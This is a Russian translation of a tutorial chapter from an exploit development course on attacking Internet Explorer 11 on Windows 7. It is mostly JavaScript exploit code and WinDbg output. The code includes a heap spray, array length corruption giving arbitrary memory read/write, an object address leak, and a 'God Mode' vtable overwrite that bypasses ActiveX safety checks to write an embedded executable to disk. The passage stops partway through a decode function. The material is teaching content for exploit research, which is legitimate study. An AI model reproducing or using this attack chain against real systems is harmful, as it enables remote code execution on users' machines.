R0 CREW

Exploit Development Course Part 18: IE 11 (Part I) [Перевод: dreamseller]

Перейти к содержанию

Для этого эксплойта я использую VirtualBox VM с Windows 7 64-bit SP1 и Internet Explorer 11, загруженный отсюда:

http://filehippo.com/download_internet_explorer_windows_7_64/tech/

EmulateIE9

Поиск UAF для IE 11 для этой главы был очень труден, потому что исследователи в области безопасности склонны опускать важные технические детали в своих статьях. Без этой информации разобраться в работе эксплойта намного тяжелее.

Так или иначе, ошибка UAF, которую я исследую, вызывается следующей строкой:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />

К сожалению, когда мы эмулируем IE 9, Int32Arrays не доступны, таким образом, метод, который мы использовали для IE 10 (см. статью “Реверс-инжиниринг IE”), несмотря на то, что довольно общий, не применим здесь. Пора искать другой метод!

Array

Мы видели, как располагаются массивы в памяти IE 10. Очень похоже они располагаются и в IE 11, но есть интересное различие. Давайте
создадим Array следующим простым кодом:

<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < a.length; ++i)
    a[i] = 0x123;
</script>
</head>
<body>
</body>
</html>

Мы видели, что в IE 10 массивы создавались вызовом jscript9!Js::JavascriptArray::NewInstance. Давайте поместим брейкпоинт на него:

bp jscript9!Js::JavascriptArray::NewInstance

Если мы перезагружаем страницу в IE 11, ничего не происходит. Давайте найдем конструктор:

0:002> bc *
0:002> x jscript9!*javascriptarray::javascriptarray*
6f5c2480          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f5c7f42          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f4549ad          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f47e091          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
0:002> bm jscript9!*javascriptarray::javascriptarray*
  1: 6f5c2480          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  2: 6f5c7f42          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  3: 6f4549ad          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  4: 6f47e091          @!"jscript9!Js::JavascriptArray::JavascriptArray"

Здесь я получил странную ошибку в WinDbg:

Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwUnmapViewOfSection+0x12:
7703fc92 83c404          add     esp,4

Сообщите мне, если вы знаете, почему это происходит. Чтобы избежать этой ошибки, Вы можете установить 4 контрольных точки вручную:

bp 6f5c2480
bp 6f5c7f42 
bp 6f4549ad
bp 6f47e091

Когда мы возобновляем выполнение и разблокируем содержимое в IE, второй брейк срабатывает, трассировка стека показывает следующее:

0:007> k 8
ChildEBP RetAddr  
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81    <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9

Давайте удалим все контрольные точки и поместим контрольную точку на JavascriptNativeIntArray::NewInstance:

0:007> bc *
0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance

Перезагрузите страницу, и когда сработает брейк, нажмите Shift+F11, чтобы возвратиться из вызова. EAX должен теперь указать на объект JavascriptNativeIntArray:

Кажется, что размер буфера только 4 элемента. Или возможно эти 4 элемента - заголовок для буфера? Когда Array растет, должен быть выделен более крупный буфер, и указатель на буфер в объекте Array должен измениться. Так, давайте поместим аппаратный брейк на поле buf_addr:

ba w4 @eax + 14

Когда мы возобновляем выполнение, аппаратная контрольная точка инициирована, и трассировка стека похожа на это:

0:007> k 8
ChildEBP RetAddr  
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187        <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88

Как мы ожидали, массив растет, когда элементы добавляются через jscript9!Js::JavascriptNativeIntArray::SetItem. Новый адрес буфера 039e0010h. Теперь возобновите выполнение, остановите выполнение снова и взгляните на буфер в 039e0010h:

Как мы видим, целые числа 0x123 записаны в буфер без всякого кодирования. В IE 10 у нас было бы 0x247, т.е. 0x123*2 + 1. Единственный замечание состоит в том, что эти целые числа со знаком. Давайте посмотрим что произойдет, когда мы запишем в массив значение большее, чем самое большое положительное целое число. Давайте распылим “кучу”, чтобы легче было найти один из буферов:

<html>
<head>
<script language="javascript">
  var a = new Array();
  for (var i = 0; i < 0x1000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
    a[i][0] = 0x80000000;
  }
</script>
</head>
<body>
</body>
</html>

В WinDbg перейдите к адресу около 9000000h или используйте VMMap, чтобы определить подходящий адрес. На этот раз Вы будете видеть что-то знакомое:

Похожую ситуация мы наблюдали в IE 10: числа закодированы (2*N + 1) и первый элемент, который должен быть 0x80000000, является указателем на объект JavascriptNumber. Есть ли способ записать 0x80000000 непосредственно? Да: мы должны найти отрицательное число, чье представление в двоичном дополнении 0x80000000. Это число

-(0x100000000 - 0x80000000) = -0x80000000

Давайте попробуем его:

<html>
<head>
<script language="javascript">
  CollectGarbage();
  var a = new Array();
  for (var i = 0; i < 0x1000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
    a[i][0] = -0x80000000;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Как Вы видите, мы получаем точно что мы хотели:

Мы можем прийти к заключению, что в IE 11 массив хранит 32-разрядные целые числа со знаком непосредственно без какого-то конкретного кодирования. Как только что-то другое, чем 32-разрядное целое число со знаком, записывается в массив, все целые числа перекодируются в 2*N + 1 так же, как в IE 10. Это означает, что мы можем
использовать нормальный Array в качестве Int32Array. Это важно, потому что, поскольку мы сказали в разделе “EmulateIE9”, Int32Arrays недоступен.

Чтение/Запись за границами Array

В IE 10 длина Array появляется и в объекте Array и в заголовке буфера Array. Давайте посмотрим, изменилось ли это в IE 11. Давайте использовать следующий код:

<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;  
 
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Чтобы определить адрес Array, мы можем использовать следующую контрольную точку:

bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"

Вот изображение объекта Array и его буфера:

Давайте использовать этот код:

<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;
 
  alert("Modify the array length");
 
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>

Мы хотим изменить длину Array так, чтобы мы могли читать и записать за пределами Array. Давайте загрузим страницу HTML в IE, и когда появится первое аварийное сообщение, войдем в WinDbg и перезапишем поле длины в объекте Array на 0x20000000. Когда мы закрываем окно с предупреждением, второе окно с предупреждением появляется с неопределенным значением. Это означает, что мы не могли читать за пределами Array.

Теперь давайте попытаемся изменить поле “Array actual length” в заголовке буфера Array (с 7 на 0x20000000): тот же результат.

Наконец, измените поле “Buffer length” в заголовке буфера Array (с 0x3ff8 на 0x20000000): тот же результат. Но если мы изменяем все три поля длины, это работает! Действительно ли необходимо изменять все три значения вручную? Массив растет, когда мы пишем по индексу, который находится за пределами текущей длины Array. Если буфер слишком маленький, выделяется больший буфер. Таким образом, что произойдет, если мы изменим только поле “Buffer length” и
затем запишем значение по индексу Array, который находится за пределами текущей длины Array? Если мы рассуждаем правильно, IE должен увеличить массив, не изменяя буфера, потому что IE думает, что буфер достаточно большой (но мы знаем, что фальсифицировали его размер). Другими словами, IE должен обновить другие два поля длины в результате записи в массив за пределами размера Array.

Давайте обновим наш код:

<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;
 
  alert("Modify the \"Buffer length\" field");
  a[array_len + 0x100] = 0;
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>

Мы загружаем страницу HTML в IE и когда появляется первое окно с предупреждением, мы изменяем поле “Buffer length” в буферном заголовке. Тогда мы возобновляем выполнение и закрываем окно с предупреждением. IE мог бы рухнуть, потому что мы могли перезаписать что-то важное после конца Array. В этом случае повторите все заново.

Теперь, когда появляется второе окно с предупреждением, посмотрите на объект Array и его заголовок:

Великолепно! Если бы мы не изменили поле “Buffer length” буфера, был бы выделен новый буфер размером 0x40f9 (по крайней мере), и у нас не будет доступа для чтения-записи в память за пределами Array.

Доступ для чтения-записи ко всему адресному пространству

Мы хотим получить доступ для чтения-записи ко всему адресному пространству. Для этого мы должны осуществить heap spray массивами, изменить поле “Buffer length” в буферном заголовке одного Array, определить местоположение измененного Array и, наконец, использовать его, чтобы изменить все три поля длины другого Array. Мы будем использовать этот второй Массив, чтобы читать и записать везде, где мы хотим.

Вот код JavaScript:

<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>

Размер заголовка для буфера Array - 0x20, потому что есть 0x10-байтный заголовок выделения и заголовок буфера в 0x10 байт.

magic_addr - адрес, где расположен массив, длину которого мы хотим изменить. Не стесняйтесь изменять то значение.

Чтобы определить индекс измененного Array, мы рассматриваем каждый массив в порядке выделения и пытаемся изменить первый элемент следующего Array. Мы можем использовать a[i], чтобы изменить первый элемент a[i+1], если и только если a[i] - измененный массив, и буфер a[i+1] расположен прямо после буфера a[i] в памяти. Если a[i] не будет измененным массивом, его буфер вырастет, т.е. будет выделен новый буфер. Обратите внимание: если мы решили, что a[idx] измененный массив, тогда гарантируется, что буфер a[idx+1] не был перераспределен и все еще расположен прямо после буфера [idx].

Теперь нам доступны чтение-запись в адресном пространстве [base_addr, 0xffffffff], но что относительно [0, base_addr]? Т.е. можем ли мы читать и писать перед буфером a[idx+1]? Вероятно, IE предполагает, что базовые адреса и длины Arrays корректны, и не проверяет на переполнение. Скажем, мы хотим считать dword в 0x400000. Мы знаем, что base_addr 0xc010000.

Давайте предположим, что IE вычисляет адрес элемента как

base_addr + index * 4 = 0xc010000 + index * 4

не удостоверяясь, что index * 4 < 2^32 – base_addr. Поэтому мы можем определить индекс, чтобы считать dword в 0x400000, следующим образом:

0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)

Запись

a = b (mod N)

означает

a = b + k * N

для любого целого k.

Например,

12 = 5 (mod 7)

потому что

12 = 5 + 1 * 7

Работа с 32 битами в присутствии переполнений похожа на работу по модулю 2^32. Например,

-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb

потому что 0 и 2^32 эквивалентны по модулю 2^32 (0 = 2^32 – 1*2^32).

Резюмируем, если IE просто проверяет что индекс < array_len (который является 0x3fffffff в нашем случае) и не делает никакой дополнительной проверки на потенциальное переполнение, тогда мы можем читать и записать в [0, 0xffffffff]. Вот реализация чтения функций и записи:

    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }

Мы уже отметили, что массив содержит 32-разрядные целые числа со знаком. Так как я предпочитаю работать с 32-разрядными целыми числами без знака, я выполняю некоторые преобразования между целыми числами со знаком и целыми без знака.

Но мы не проверили, работает ли все это! Вот полный код:

<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    alert("Write a number at the address " + (base_addr - 0x10000).toString(16));
    var num = read(base_addr - 0x10000);
    alert("Did you write the number " + num.toString(16) + "?");
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>

Чтобы проверить, что все работает хорошо, следуйте инструкциям. Попытайтесь записать число >= 0x80000000, такое как 0x87654321. Все, кажется, работает просто великолепно!

Функция get_addr

Функцию get_addr очень просто записать:

    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
 
    alert(get_addr(ActiveXObject).toString(16));

Обратите внимание на то, что мы не можем присвоить a[idx+1][0] значение obj, потому что это приведет к краху IE. На самом деле, a[idx+1] стал бы смешанным массивом, и IE попытается перекодировать dwords всего адресного пространства! Мы не можем использовать a[idx] по той же причине, и мы не можем использовать a[idx-1] или предыдущие массивы, потому что их буферы были перевыделены где-то в другом месте (помните?). Но a[idx+2] может быть хорошим кандидатом.

Режим бога

Теперь мы должны портировать God Mode от IE 10 до IE 11. Давайте начнем с первых строк:

    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    .
    .
    .
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    alert(addr.toString(16));
    return;
    mshtml = read(addr + 0x10) - 0x58b9a;

Когда появляется окно с предупрежденем, исследуйте память в обозначенном адресе, и у Вас должна быть вся информация, чтобы исправить код. Вот исправленный код:

    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;

Теперь давайте проанализируем jscript9!ScriptSite::CreateActiveXObject. В первую очередь, добавьте эту простую строку кода:

new ActiveXObject("ADODB.Stream");

Затем загрузите страницу в IE и добавьте брейкпоинт на jscript9!ScriptSite::CreateActiveXObject. Когда контрольная точка будет инициирована, трассируйте код, пока Вы не достигнете вызова CreateObjectFromProgID:

04c05a81 e84a000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)

Шагните в него (F11) и затем продвигайтесь, пока не доберетесь до CanCreateObject:

04c05b4c 8d45e8          lea     eax,[ebp-18h]
04c05b4f 50              push    eax
04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)

Шагните в него (F11) и шагайте, пока не доберетесь до виртуального вызова:

04c05df0 8d55f8          lea     edx,[ebp-8]
04c05df3 6a00            push    0
04c05df5 6a00            push    0
04c05df7 6a10            push    10h
04c05df9 ff7508          push    dword ptr [ebp+8]
04c05dfc 8b08            mov     ecx,dword ptr [eax]
04c05dfe 6a04            push    4
04c05e00 52              push    edx
04c05e01 6800120000      push    1200h
04c05e06 50              push    eax
04c05e07 ff5110          call    dword ptr [ecx+10h]  ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)}  <---------------
04c05e0a 85c0            test    eax,eax
04c05e0c 7811            js      jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)
04c05e0e f645f80f        test    byte ptr [ebp-8],0Fh
04c05e12 6a00            push    0
04c05e14 58              pop     eax
04c05e15 0f94c0          sete    al
04c05e18 5e              pop     esi
04c05e19 8be5            mov     esp,ebp
04c05e1b 5d              pop     ebp
04c05e1c c20400          ret     4

В IE 10 мы пошли на многое, чтобы возвратиться из CanCreateObject с не нулевым EAX и нулевым EDI. Но как мы видим, в IE 11 нет никакого pop edi. Это означает, что мы можем просто вызвать эпилог функции (который больше не использует leave, между прочим)?

Давайте соберем некоторую полезную информацию:

0:007> ln ecx
(702bcd98)   MSHTML!s_apfnPlainTearoffVtable   |  (702bd4a0)   MSHTML!GLSLFunctionInfo::s_info
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> ? 702bcd98-mshtml
Evaluate expression: 15453592 = 00ebcd98
0:007> ? 04c05e19-jscript9
Evaluate expression: 1400345 = 00155e19

Теперь давайте вернемся из CanCreateObject (Shift+F11):

04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax      <----------------- we are here
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05            push    5
04c05b5f 58              pop     eax
04c05b60 85ff            test    edi,edi      <---------------- EDI must be 0
04c05b62 0f85fd351200    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)

Кажется, что EDI все еще должен быть 0, но различие в том, что теперь CanCreateObject больше не использует EDI и таким образом, мы не должны очищать его прежде, чем возвратиться из CanCreateObject. Это хорошие новости!

Давайте изменим EAX так, чтобы мы могли добраться до CanObjectRun:

r eax=1

Давайте продолжим продвигаться, пока мы не доберемся до CanObjectRun и затем шагнем в него. Через некоторое время мы достигнем знакомого виртуального вызова:

04c05d2c 53              push    ebx
04c05d2d 6a18            push    18h
04c05d2f 52              push    edx
04c05d30 8d55cc          lea     edx,[ebp-34h]
04c05d33 895de8          mov     dword ptr [ebp-18h],ebx
04c05d36 8b08            mov     ecx,dword ptr [eax]
04c05d38 52              push    edx
04c05d39 8d55c0          lea     edx,[ebp-40h]
04c05d3c 52              push    edx
04c05d3d 68845dc004      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)
04c05d42 50              push    eax
04c05d43 ff5114          call    dword ptr [ecx+14h]  ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)}  <---------------
04c05d46 85c0            test    eax,eax
04c05d48 0f889c341200    js      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)
04c05d4e 8b45c0          mov     eax,dword ptr [ebp-40h]
04c05d51 6a03            push    3
04c05d53 5b              pop     ebx
04c05d54 85c0            test    eax,eax
04c05d56 740f            je      jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)
04c05d58 837dcc04        cmp     dword ptr [ebp-34h],4
04c05d5c 7202            jb      jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)
04c05d5e 8b18            mov     ebx,dword ptr [eax]
04c05d60 50              push    eax
04c05d61 ff1518a0e704    call    dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]
04c05d67 6a00            push    0
04c05d69 f6c30f          test    bl,0Fh
04c05d6c 58              pop     eax
04c05d6d 0f94c0          sete    al
04c05d70 8b4dfc          mov     ecx,dword ptr [ebp-4]
04c05d73 5f              pop     edi
04c05d74 5e              pop     esi
04c05d75 33cd            xor     ecx,ebp
04c05d77 5b              pop     ebx
04c05d78 e8b8b3eaff      call    jscript9!__security_check_cookie (04ab1135)
04c05d7d 8be5            mov     esp,ebp
04c05d7f 5d              pop     ebp
04c05d80 c20800          ret     8

Если мы вызовем эпилог функции как прежде, мы пропустим вызов jscript9!_imp__CoTaskMemFree, но это не должно быть проблемой. ECX указывает на ту же vftable (из CanCreateObject). Давайте вычислим RVA эпилога CanObjectRun:

0:007> ? 04c05d7d-jscript9
Evaluate expression: 1400189 = 00155d7d

Теперь мы готовы записать код JavaScript. Вот полный код:

<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
